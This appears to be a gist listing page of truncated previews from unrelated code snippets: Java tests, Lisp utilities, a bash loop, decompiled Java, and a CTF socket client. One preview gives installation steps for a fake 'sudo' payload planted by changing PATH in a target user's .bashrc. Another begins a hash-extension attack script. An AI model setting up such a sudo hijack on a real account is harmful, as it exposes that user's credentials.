This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| xvsbnbs |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| public void testPlayerLowerTest(){ | |
| player1.setScore(5); | |
| player2.setScore(3); | |
| Assert.assertTrue(player1.compareTo(player2)==-1); | |
| } | |
| public void testPlayerSameScoreTest(){ | |
| player1.setScore(4); | |
| player2.setScore(4); | |
| Assert.assertTrue(player1.compareTo(player2)==0); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| (defun rs-poll () | |
| (interactive) | |
| (when (not (boundp 'rs-poll-time)) | |
| (defvar rs-poll-time 1) | |
| (defvar rs-poll-votes 1)) | |
| (let ((buffer (url-retrieve-synchronously "http://services.runescape.com/m=poll/rs2007-server")) | |
| (lst) | |
| (percent)) | |
| (with-current-buffer buffer | |
| (save-excursion |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| : echo ${hours:="16"} | |
| : echo ${start_minutes:="25"} #30 | |
| : echo ${end_minutes:="40"} #40 | |
| : echo ${last_day_found:="0"} | |
| : echo ${phone_mac:="5c:0a:5b:11:17:bb"} | |
| : echo ${box_mac:="bc:ae:c5:62:df:20"} | |
| : echo ${interval:="0"} | |
| while [ true ] | |
| do |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| => (emit-html '(:html (:head (:title "Hello")) (:body (:p "Hello,world!")))) | |
| <html> | |
| <head> | |
| <title>Hello</title> | |
| </head> | |
| <body> | |
| <p>Hello,world!</p> | |
| </body> | |
| </html> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #Hacked together, don't expect quality code! | |
| #Author: Louis Dion-Marcil | |
| #Note: Borrowed code from StackExchange's CodeReview user, Lewis | |
| #http://codereview.stackexchange.com/questions/25772/game-of-life-in-python | |
| import socket, re | |
| host = "128.238.66.216" | |
| port = 45678 | |
| s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| s.connect((host,port)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| * Zed Attack Proxy (ZAP) and its related class files. | |
| * | |
| * ZAP is an HTTP/HTTPS proxy for assessing web application security. | |
| * | |
| * Licensed under the Apache License, Version 2.0 (the "License"); | |
| * you may not use this file except in compliance with the License. | |
| * You may obtain a copy of the License at | |
| * | |
| * http://www.apache.org/licenses/LICENSE-2.0 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Installation: | |
| # Append the following line to the target user's .bashrc file by running | |
| # the following command: | |
| # $ echo "export PATH=~/.payload:$PATH" >> ~/.bashrc | |
| # | |
| # Then, create ~/.payload/sudo and paste the following code in the file. | |
| # Don't forget to make the bash script executable by issuing the following | |
| # command: | |
| # | |
| # $ chmod a+x ~/.payload/sudo |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov. | |
| // Jad home page: http://www.geocities.com/kpdus/jad.html | |
| // Decompiler options: packimports(3) | |
| // Source File Name: PublicKeyManager.java | |
| import java.io.PrintStream; | |
| import java.security.*; | |
| import java.security.spec.X509EncodedKeySpec; | |
| import javax.crypto.Cipher; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # non functional - validation | |
| import requests | |
| import hashpumpy | |
| import binascii | |
| import base64 | |
| import time | |
| import bs4 | |
| session = requests.Session() | |
| headers = {"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:33.0) Gecko/20100101 Firefox/33.0","Connection":"keep-alive","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"} |
OlderNewer